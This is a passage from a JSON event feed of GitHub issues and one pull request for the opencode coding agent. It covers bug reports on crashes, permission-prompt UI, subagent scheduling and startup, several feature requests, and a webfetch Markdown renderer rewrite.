          "title": "[server exited unexpectedly] when running Open Code within tmux session",
          "text": "### Description Description A critical error occurs when attempting to use the Open Code interface (Gemini 3 Pro Preview) inside a tmux session. The server crashes immediately or shortly after initialization, displaying the following status message: [server exited unexpectedly] Environment Information OS: MacOS M1 Taho26.2 Terminal Emulator: iTerm2 / Alacritty tmux version: 3.3a Open Code Version: 1.3.5 Shell: zsh Steps to Reproduce Open a terminal. Start a new tmux session: tmux new -s testing. Launch the editor/environment containing Open Code. Attempt to trigger a build or ask a question in the chat interface. Observe the status bar error: [server exited unexpectedly]. Expected Behavior The Open Code server should remain stable and maintain the connection to the LLM backend regardless of whether it is running inside a terminal multiplexer like tmux. Actual Behavior The process terminates unexpectedly, preventing any interaction with the AI assistant or the build system. Tmux Logs [tmux-out-24096.log](https://github.com/user-attachments/files/26329117/tmux-out-24096.log) [tmux-server-24096.log](https://github.com/user-attachments/files/26329119/tmux-server-24096.log) [tmux-client-24094.log](https://github.com/user-attachments/files/26329118/tmux-client-24094.log) ### Steps to reproduce 1. Open tmux 2. Execute `opencode .` 3. Problem occurs ### Screenshot and/or share link <img width=\"2369\" height=\"1372\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ab9a5801-e7ae-402e-90a6-1aee7d6d546a\" /> ### Operating System macOS M1 Tahoe 26.2 ### Terminal iterm, alacrity",
          "url": "https://github.com/anomalyco/opencode/issues/19651",
          "createdAt": "2026-03-29T07:37:01Z",
          "updatedAt": "2026-08-13T02:53:12Z",
          "timestamp": "2026-08-13T02:53:12Z",
          "metrics": {
            "reactions": 5,
            "comments": 6
          },
          "labels": [],
          "author": "rodrigocnascimento",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:5d71c3cf2408565a98a8",
        "signalId": "github:anomalyco/opencode:issue:27436",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:27436",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "permission required cannot select",
          "text": "### Description When I clicked \"Allow once\", I couldn't click it. When I clicked \"Allow always\", it kept repeatedly jumping to \"Always allow\", and when I clicked \"Reject\", I couldn't submit the content in \"Tell Opencode what to do differently\", causing the session to get stuck here. Moreover, even after I directly closed the VSCode Opencode plugin, it still showed in the \"Operation Env\" and I couldn't continue the operation. <img width=\"1443\" height=\"273\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/075ed478-7583-449d-9ecf-0675e16c0938\" /> <img width=\"1399\" height=\"274\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/61e9c0a9-007b-4626-85c0-7c784f8e4f7a\" /> <img width=\"1450\" height=\"277\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bf5ddf18-2036-446b-a54c-2e8e14e1dba7\" /> ### Plugins vscode ### OpenCode version 1.14.48 ### Steps to reproduce The current situation I'm facing is as follows: When opencode attempts to read or write the .env file again and requires permissions, this problem may occur. ### Screenshot and/or share link _No response_ ### Operating System windows 11 ### Terminal windows terminal",
          "url": "https://github.com/anomalyco/opencode/issues/27436",
          "createdAt": "2026-05-14T02:53:59Z",
          "updatedAt": "2026-08-13T02:53:10Z",
          "timestamp": "2026-08-13T02:53:10Z",
          "metrics": {
            "reactions": 11,
            "comments": 18
          },
          "labels": [],
          "author": "1122414",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:720326b7ad68b138051b",
        "signalId": "github:anomalyco/opencode:issue:10519",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:10519",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Web UI not showing my sessions",
          "text": "### Description For about 3 weeks the web UI stopped recording my sessions in it only my old sessions and projects. all new projects and sessions are not showing. ### Plugins opencode-anthropic-auth ### OpenCode version 1.1.35 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System macOs taho ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/10519",
          "createdAt": "2026-01-25T09:57:03Z",
          "updatedAt": "2026-08-13T02:53:09Z",
          "timestamp": "2026-08-13T02:53:09Z",
          "metrics": {
            "reactions": 12,
            "comments": 8
          },
          "labels": [],
          "author": "Altamimi-Dev",
          "state": "closed",
          "assignees": [
            "adamdotdevin"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:71985fa167a450df839f",
        "signalId": "github:anomalyco/opencode:issue:31962",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:31962",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "gpt-5.5 does not work",
          "text": "### Description gpt-5.5 isn't working, I have the Plus plan <img width=\"845\" height=\"133\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/77832a56-66be-43b8-82b8-cd4e10a1bb16\" /> <img width=\"842\" height=\"190\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/c664991d-8568-40d1-93f3-cb3d1d78e03a\" /> ### Plugins No ### OpenCode version latest ### Steps to reproduce Just send a message with gpt-5.5 model ### Screenshot and/or share link <img width=\"845\" height=\"133\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/91e82496-3d0c-404c-b26a-3760943507f0\" /> <img width=\"842\" height=\"190\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/dcd6ab71-0271-470f-9312-fdf7ed68f074\" /> ### Operating System macOS Tahoe 26.4.1 ### Terminal Warp",
          "url": "https://github.com/anomalyco/opencode/issues/31962",
          "createdAt": "2026-06-11T21:45:19Z",
          "updatedAt": "2026-08-13T02:53:08Z",
          "timestamp": "2026-08-13T02:53:08Z",
          "metrics": {
            "reactions": 3,
            "comments": 5
          },
          "labels": [],
          "author": "MrUprizing",
          "state": "closed",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:0ba3d9737ec09d8eb990",
        "signalId": "github:anomalyco/opencode:issue:32176",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32176",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Unhandled promise rejections in session operations crash the TUI",
          "text": "### Description Several void SDK calls in packages/tui/src/routes/session/index.tsx fire async requests without .catch(). Bun terminates the process on unhandled rejections. Affected calls: - sdk.client.session.summarize() (line 572) - sdk.client.session.revert() (line 616) - sdk.client.experimental.session.background() (line 1025) ### OpenCode version Latest dev ### Steps to reproduce 1. Use the summarise or revert feature 2. Trigger a network error 3. Bun terminates the process with an unhandled rejection ### Operating System Linux ### Terminal Alacritty",
          "url": "https://github.com/anomalyco/opencode/issues/32176",
          "createdAt": "2026-06-13T11:06:23Z",
          "updatedAt": "2026-08-13T02:53:07Z",
          "timestamp": "2026-08-13T02:53:07Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "MethodWhite",
          "state": "closed",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:49113f9a9a9455de491a",
        "signalId": "github:anomalyco/opencode:issue:32175",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32175",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "SSE reconnection never fires after initial connection failure",
          "text": "### Description The SSE reconnect loop in packages/tui/src/context/sdk.tsx only retries when the stream ends cleanly. If sdk.global.event() throws on the first call (server not ready, port not bound), the exception goes straight to .catch(() => {}) with no reconnection attempt. The TUI never receives events and appears frozen. ### OpenCode version Latest dev ### Steps to reproduce 1. Start the TUI while the server is not ready 2. The SSE connection attempt fails 3. No retry is made, UI stays frozen ### Operating System Linux ### Terminal Alacritty",
          "url": "https://github.com/anomalyco/opencode/issues/32175",
          "createdAt": "2026-06-13T11:06:09Z",
          "updatedAt": "2026-08-13T02:53:06Z",
          "timestamp": "2026-08-13T02:53:06Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "MethodWhite",
          "state": "closed",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:ca52464064175534e27e",
        "signalId": "github:anomalyco/opencode:issue:32106",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32106",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: add Ads integration",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request For context https://x.com/andrewmccalip/status/2065049432652189933?s=20 Currently with kickback brands face a disadvantage that even after 10k impressions they get 0 conversions since the ad being shown is not context aware (what user is talking with llm). Coz like social media ads the companies show the ad to relevant users not like kickback a random ad to a random user. What opencode can do is have a enable/disable ad command to let user choose if they want ads or not. And a interface for brands to create campaigns, and a logic to connect users going on conversation with that's llm to related ad campaign. We can have 2 advantages here: 1. Businesses will prefer us as we show there ads in a context so there impressions doesn't gets wasted 2. Users may switch from Claude/codex cli to us because of this feat as those are big comme knpanies, we have advantage to ship faster before them. Let me know if you guys liked the idea I would like contribute to this feature or handle everything alone!",
          "url": "https://github.com/anomalyco/opencode/issues/32106",
          "createdAt": "2026-06-12T20:39:19Z",
          "updatedAt": "2026-08-13T02:53:04Z",
          "timestamp": "2026-08-13T02:53:04Z",
          "metrics": {
            "reactions": 7,
            "comments": 6
          },
          "labels": [],
          "author": "Sahil-Gupta584",
          "state": "closed",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c9531f4af93155cb24d6",
        "signalId": "github:anomalyco/opencode:issue:22473",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:22473",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Tools error when using Gemini models via custom api",
          "text": "### Description I'm trying to use gemini models via a custom api but i get this error: `Invalid JSON payload received. Unknown name \"ref\" at 'tools[0].function_declarations[0].parameters.properties[0].value.items.properties[2].value.items': Cannot find field.` The provider config in opencode.json is this: ```json { \"$schema\": \"https://opencode.ai/config.json\", \"provider\": { \"custom-provider\": { \"npm\": \"@ai-sdk/openai-compatible\", \"name\": \"custom-provider\", \"options\": { \"baseURL\": \"https://<api-url>\" }, \"models\": { \"gemini-2.5-pro\": { \"name\": \"Gemini 2.5 Pro\" } } } } } ``` ### Plugins _No response_ ### OpenCode version 1.4.1 ### Steps to reproduce Try to chat with opencode using the previous config. ### Screenshot and/or share link <img width=\"1878\" height=\"317\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/fd87c924-0dd4-458f-974e-8feb1f50b9da\" /> ### Operating System Arch Linux ### Terminal Kitty",
          "url": "https://github.com/anomalyco/opencode/issues/22473",
          "createdAt": "2026-04-14T17:01:58Z",
          "updatedAt": "2026-08-13T02:53:03Z",
          "timestamp": "2026-08-13T02:53:03Z",
          "metrics": {
            "reactions": 1,
            "comments": 3
          },
          "labels": [],
          "author": "afermar",
          "state": "closed",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:f42ab9f2127ce0961250",
        "signalId": "github:anomalyco/opencode:issue:32171",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32171",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: worker pool execution mode  when do some parallel job rolling new subagent when any one is done",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Summary In subagent mode, there seem to be two scheduling / interaction issues: While subagents are running, the main session cannot accept new user input. When multiple subagents are launched in parallel with a concurrency limit, if one subagent finishes early, the next queued subagent does not start automatically. It appears the system waits until all currently running subagents finish before dispatching the next batch. This makes subagent execution behave more like batch barriers instead of a rolling worker pool. Environment opencode subagent mode parallel subagents with max_concurrent_agents set (example: 5) OS: Windows Model shown in UI: gpt-5.4 Screenshot attached Reproduction Steps Start a task that uses subagent mode. Dispatch multiple subagents in parallel, with a concurrency cap such as: max_concurrent_agents: 5 Queue more work than the concurrency limit allows. Example: first run ch01–ch05, then expect ch06–ch09 to start as slots free up. Observe that: some subagents finish earlier than others, but queued subagents are not started immediately when a slot becomes available. Also try sending a new user message while subagent mode is active. Observe that the session does not accept / process the new user message. Expected Behavior 1. User input handling The main session should still be able to receive and process new user messages while subagents are running, or at least provide a clear interaction model for interruption / enqueue / cancellation. 2. Rolling subagent scheduling With max_concurrent_agents: 5, subagents should behave like a worker pool: if 5 are running and 1 finishes, the next queued subagent should start immediately, without waiting for the other 4 to finish. In other words, scheduling should be rolling / slot-based, not batch-based. Actual Behavior The main session cannot accept new user input during subagent execution. Finished subagents do not release their slot for the next queued subagent immediately. The next queued subagents only start after the whole current parallel batch finishes. Why this is a problem This reduces throughput significantly for uneven task durations. Example: ch01 finishes in 1 min ch02 finishes in 3 min ch03 finishes in 2 min ch04 finishes in 5 min ch05 finishes in 4 min If ch01 finishes early, ch06 should start right away. Instead, the queue waits until ch02–ch05 all finish, leaving available capacity idle. This also makes long-running subagent workflows less interactive because the user cannot send follow-up instructions during execution. Suspected Root Cause Possibly the scheduler is currently implemented as: dispatch one batch up to max_concurrent_agents wait for the whole batch to settle dispatch the next batch instead of: maintain a live pool whenever any subagent completes, pull the next queued task immediately There may also be an input lock / session lock while subagent mode is active. Suggested Fix Change subagent scheduling from batch barrier to rolling queue / worker pool. Release a concurrency slot immediately when a subagent completes. Automatically dispatch the next queued subagent as soon as a slot is free. Allow the main session to continue accepting user input while subagents are running, or expose a clear policy: allow message interrupt, enqueue message, or offer cancel / pause / reprioritize controls. Additional Context In my case, after some subagents completed, the UI still showed the follow-up task as queued instead of starting immediately. Example expectation: start ch01–ch05 if ch01 completes first, immediately start ch06 if ch03 completes next, immediately start ch07 etc. Current behavior seems to wait for the entire first wave to finish before starting the next wave. <img width=\"1430\" height=\"922\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/5fb20cb3-f40f-4ee4-90e4-e5560391a4fa\" />",
          "url": "https://github.com/anomalyco/opencode/issues/32171",
          "createdAt": "2026-06-13T09:04:31Z",
          "updatedAt": "2026-08-13T02:53:01Z",
          "timestamp": "2026-08-13T02:53:01Z",
          "metrics": {
            "reactions": 1,
            "comments": 2
          },
          "labels": [],
          "author": "dengyakui",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:f6a08333fb5b5cf5647b",
        "signalId": "github:anomalyco/opencode:issue:23784",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:23784",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Display subagent status in TUI prompt footer",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Currently, when using subagents in OpenCode, there is no visual indication in the TUI prompt footer about how many subagents are active or exist in total. Users have to manually navigate to the subagent view to check this information. **Proposed enhancement:** Add a subagent status indicator to the prompt footer (bottom-right area next to the \"commands\" hint) that: 1. Shows nothing when there are no subagents 2. Displays `active/total sub agents` when subagents exist 3. Shows a ⚡ lightning icon next to the active count when there are active subagents, using `theme.warning` color to draw attention 4. Uses muted color when no subagents are active This provides at-a-glance awareness of background subagent activity without leaving the main prompt view. **Implementation approach:** - Compute recursive descendant count (including nested subagents) from `sync.data.session` using BFS traversal - Check `session_status` for \"busy\" or \"retry\" states to determine active count - Conditionally render in the prompt footer using SolidJS `<Show>` **Screenshots:** *With active subagent (⚡ icon + warning color):* <img width=\"364\" height=\"91\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/4f7e16a8-d8c5-4912-9fa8-1bd05f3d9f34\" /> *Without active subagent (muted color):* <img width=\"361\" height=\"86\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bb6d9dcb-806e-4545-89c0-4ab2c8d5721f\" />",
          "url": "https://github.com/anomalyco/opencode/issues/23784",
          "createdAt": "2026-04-22T03:59:24Z",
          "updatedAt": "2026-08-13T02:53:00Z",
          "timestamp": "2026-08-13T02:53:00Z",
          "metrics": {
            "reactions": 0,
            "comments": 7
          },
          "labels": [],
          "author": "areyouok",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:5b4c551a16f7a4bbc755",
        "signalId": "github:anomalyco/opencode:issue:23091",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:23091",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Nested Subagent Fails Silently in 3-Layer Deep Chain (Works Fine in 2-Layer)",
          "text": "### Description A subagent called at depth 3 (parent → child → grandchild) fails silently without any error message. The issue does not occur at depth 2 (parent → child). The problem began appearing on 2026-04-17, while everything worked normally the previous day. The grandchild agent receives the prompt successfully (child session window appears), enters a \"thinking\" phase, and then abruptly terminates without any error or output — not even a single tool call or text response. ### Plugins none ### OpenCode version v1.4.7 ### Steps to reproduce 1.Create a main agent that uses the task tool to call a child subagent. 2.In the child subagent's prompt, instruct it to further call a grandchild subagent via the task tool. 3.Give the grandchild subagent a simple task (e.g., \"read a file and summarize\"). 4.Observe the behavior: the grandchild subagent starts, thinks for a few seconds, then disappears with no error. ### Screenshot and/or share link <img width=\"896\" height=\"1416\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/be30d247-8380-4265-b3b9-bd958270871a\" /> ### Operating System Windows11 ### Terminal Windows terminal",
          "url": "https://github.com/anomalyco/opencode/issues/23091",
          "createdAt": "2026-04-17T14:33:47Z",
          "updatedAt": "2026-08-13T02:52:58Z",
          "timestamp": "2026-08-13T02:52:58Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "xsrtyq",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:111e65b2737dc543c1ca",
        "signalId": "github:anomalyco/opencode:issue:31999",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:31999",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Too many thought messages with MiniMax-M3",
          "text": "### Description When I use minimax-m3 - opencode doesn't collapse all thinking chunks into one - each think is ~3-4ms. The final answer is not in the end of the message and might be somewhere in the middle. <img width=\"453\" height=\"422\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/24bfc092-cc10-4a71-83ec-eca129d8063c\" /> Each chunk looks like this <img width=\"1629\" height=\"816\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a50df0d7-70ef-4260-a2c3-1cb34c3c238f\" /> ### Plugins oh-my-openagent ### OpenCode version 0.17.4 ### Steps to reproduce 1. run any request to MiniMax-M3 2. get the issue ### Screenshot and/or share link _No response_ ### Operating System Windows 10 ### Terminal Windows Terminal with powershell",
          "url": "https://github.com/anomalyco/opencode/issues/31999",
          "createdAt": "2026-06-12T06:31:56Z",
          "updatedAt": "2026-08-13T02:52:57Z",
          "timestamp": "2026-08-13T02:52:57Z",
          "metrics": {
            "reactions": 3,
            "comments": 5
          },
          "labels": [],
          "author": "BEEugene",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:4ea0f20a457a6972b6fe",
        "signalId": "github:anomalyco/opencode:issue:32161",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32161",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "TUI startup initializes the same instance twice",
          "text": "### Description When starting the TUI, OpenCode appears to initialize the same project instance twice for the same directory during startup. The visible symptoms are: - duplicate `creating instance` log entries for the same directory and same `run` id - duplicate `fromDirectory` calls - duplicate `enabled LSP servers` entries - duplicate config discovery/loading work - noticeably high CPU during/after startup when many LSP servers are configured Sanitized example from `opencode.log`: ```text timestamp=... level=INFO run=... message=\"creating instance\" directory=/home/user timestamp=... level=INFO run=... message=fromDirectory directory=/home/user timestamp=... level=INFO run=... message=\"creating instance\" directory=/home/user timestamp=... level=INFO run=... message=fromDirectory directory=/home/user timestamp=... level=INFO run=... message=\"enabled LSP servers\" serverIds=\"...\" timestamp=... level=INFO run=... message=\"enabled LSP servers\" serverIds=\"...\" timestamp=... level=INFO run=... message=\"watcher backend\" directory=/home/user platform=linux backend=inotify timestamp=... level=INFO run=... message=init count=7 ``` I also tested whether the duplicate load was caused by the TUI upgrade check. Removing the `InstanceRuntime.load({ directory })` call from `checkUpgrade()` did **not** remove the duplicate `creating instance` / `enabled LSP servers` logs, so the upgrade check does not appear to be the root cause. Based on `packages/opencode/src/project/instance-store.ts`, a single `InstanceStore` service should not log two `creating instance` entries for the same resolved directory because the local cache is populated before bootstrapping: ```ts const existing = cache.get(directory) if (existing) return yield* restore(Deferred.await(existing.deferred)) const entry = { deferred: Deferred.makeUnsafe<InstanceContext>() } cache.set(directory, entry) // logs \"creating instance\" ``` Seeing duplicate entries for the same directory suggests that startup is creating two separate `InstanceStore`/Layer/runtime instances, so the per-service cache cannot dedupe the concurrent load. Possible fixes: 1. Ensure TUI/server/worker startup shares a single `AppRuntime` / `InstanceStore` for the process, or 2. Add a defensive module/process-level in-flight dedupe in `InstanceStore.load()` keyed by resolved directory, so concurrent loads across separate store instances cannot bootstrap the same directory twice. ### Plugins Reproduced with and without third-party plugins enabled. Removing TUI plugins did not eliminate the duplicate `creating instance` / `enabled LSP servers` logs. ### OpenCode version 1.17.4 ### Steps to reproduce 1. Start OpenCode TUI from a directory with multiple LSP servers configured. 2. Inspect `opencode.log` immediately after startup. 3. Search for `creating instance`, `fromDirectory`, and `enabled LSP servers` entries. 4. Observe that the same directory is initialized twice during the same startup run. Expected: ```text creating instance x1 enabled LSP servers x1 ``` Actual: ```text creating instance x2 enabled LSP servers x2 ``` ### Screenshot and/or share link No screenshot. Sanitized log excerpt included above. ### Operating System Ubuntu 24.04 LTS ARM64 ### Terminal SSH/tmux TUI session",
          "url": "https://github.com/anomalyco/opencode/issues/32161",
          "createdAt": "2026-06-13T07:35:33Z",
          "updatedAt": "2026-08-13T02:52:56Z",
          "timestamp": "2026-08-13T02:52:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "dhaern",
          "state": "closed",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:35f7af7bc5872f9571b3",
        "signalId": "github:anomalyco/opencode:pull_request:42229",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42229",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(core): replace webfetch markdown renderer",
          "text": "## What Replace V2 Core webfetch's Turndown/Domino HTML-to-Markdown conversion with a purpose-built `htmlparser2` event renderer. The renderer preserves model-readable document structure without constructing a browser DOM and removes Core's `turndown`, `@mixmark-io/domino`, and `@types/turndown` closure. | Measurement | Before | After | Change | | --- | ---: | ---: | ---: | | 322 KB article throughput, median | 4.23 MiB/s | 10.12 MiB/s | 2.39x | | Conversion time, 1 warmup + 9 measured | 72.55 ms (66.93-109.75) | 30.32 ms (22.29-83.55) | -58.2% | | Isolated minified bundle | 311,557 B | 61,293 B | -250,264 B | | Isolated gzip bundle | 98,680 B | 26,922 B | -71,758 B | | macOS arm64 CLI executable | 87,338,978 B | 87,091,298 B | -247,680 B | | Installed Turndown + Domino closure | 9,028 KiB | 0 KiB in Core | -9,028 KiB | ## How - `packages/core/src/tool/html-markdown.ts` implements an iterative semantic frame renderer for headings, paragraphs, inline formatting, links/images, blockquotes, nested lists, inline/fenced code, and readable tables. - Active/fallback elements are suppressed, entities decode through htmlparser2, code fences expand around embedded backticks, and preformatted content bypasses whitespace normalization. - List/quote indentation is capped and pathological open-tag depth takes a deterministic text-only path, bounding amplification for webfetch's 5 MiB response limit. - `packages/core/test/tool-webfetch.test.ts` covers the public helper and tool path with malformed/deep input, Unicode/entities, active content, whitespace, code, nested lists/tables, and output-growth regressions. - `packages/core/perf/html-markdown.md` records the autoresearch experiments and measurements. ## Scope - V2 only: Core and the V2 CLI artifact were changed/evaluated. - `packages/opencode` is untouched. - No public package or API was added; `WebFetchTool.convertHTMLToMarkdown` remains the public helper. - Base Turndown flattened table cells; the replacement intentionally emits readable GFM-style tables. - Malformed overlapping inline/block tags may drop formatting delimiters while preserving visible text. - Documents deeper than 10,000 open tags fall back to deterministic visible-text extraction to protect memory. - This repository does not use Changesets, so no changeset is included. ## Testing - `bun run test tool-webfetch.test.ts` from `packages/core`: 26 passed. - `bun typecheck` from `packages/core`: passed. - `bun typecheck` from `packages/cli`: passed. - Push hook `bun turbo typecheck`: 29/29 package tasks passed. - `MODELS_DEV_API_JSON=../core/test/plugin/fixtures/models-dev.json bun run build --single --skip-install` from `packages/cli`: passed. - Temporary real-site differential corpus: Example Domain, MDN table reference, Python asyncio docs, RFC 9110, and W3C forms tutorial. Snapshots were not committed. - Full Core suite: 1,032/1,033 passed. The unrelated macOS watcher test reports `.git/HEAD` as `add` instead of expected `change`; it reproduces in isolation. - Four independent review rounds found and verified fixes for depth/output amplification, fence crashes, code whitespace mutation, Markdown escaping, quote/table containment, emphasis whitespace, and nested tables.",
          "url": "https://github.com/anomalyco/opencode/pull/42229",
          "createdAt": "2026-08-13T02:52:47Z",
          "updatedAt": "2026-08-13T02:52:55Z",
          "timestamp": "2026-08-13T02:52:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:5f6414cd182d3669a5b8",
        "signalId": "github:anomalyco/opencode:issue:32160",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32160",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]:One Key Copy",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request We need two buttons here: One is a jump button: click it once to jump to the position of my previous question. You can click it multiple times to jump to the position before that. One is a copy button: copy the current reply from OPENCODE, preferably in Markdown format. Environment: The OPENCODE extension in VSCode. 这里需要两个按钮： 一个是跳转按钮：点一次就跳转到我的上一个问题的位置。可以连续点多次，跳转到上上个位置。 一个是复制按钮：复制OPENCODE当前回复的内容，最好是复制为Markdown形式。 使用环境: VSCode 里的 OPENCODE 扩展。",
          "url": "https://github.com/anomalyco/opencode/issues/32160",
          "createdAt": "2026-06-13T07:24:27Z",
          "updatedAt": "2026-08-13T02:52:55Z",
          "timestamp": "2026-08-13T02:52:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "linzhongzi",
          "state": "closed",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:0b1b690c0125d6331621",
        "signalId": "github:anomalyco/opencode:issue:32155",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32155",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Desktop App: Spell Checker  annoyance",
          "text": "### Description Prompt input field of desktop app displays spell checker error for each word not in the selected language. Example: If German is selected language, each English word is marked as grammatical error. This is due to the fact, that in Electron app the spell checker is enabled by default and cannot be disabled on Windows. (In MacOS, the spell checker of Electron can be deactivated in the OS settings.) Dear developers of OpenCode: PLEASe do not be as lazy as 90% of other devs who do not care about the shortcomings of Electron. Thank you ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce 1. Settings: Language German 2. Input text field: Write something like \"Wie rufe ich in Logto.io den Introspection Endpunkt auf? ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/32155",
          "createdAt": "2026-06-13T06:52:11Z",
          "updatedAt": "2026-08-13T02:52:54Z",
          "timestamp": "2026-08-13T02:52:54Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "jan370",
          "state": "closed",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:03a962e48450171255c0",
        "signalId": "github:anomalyco/opencode:issue:3434",
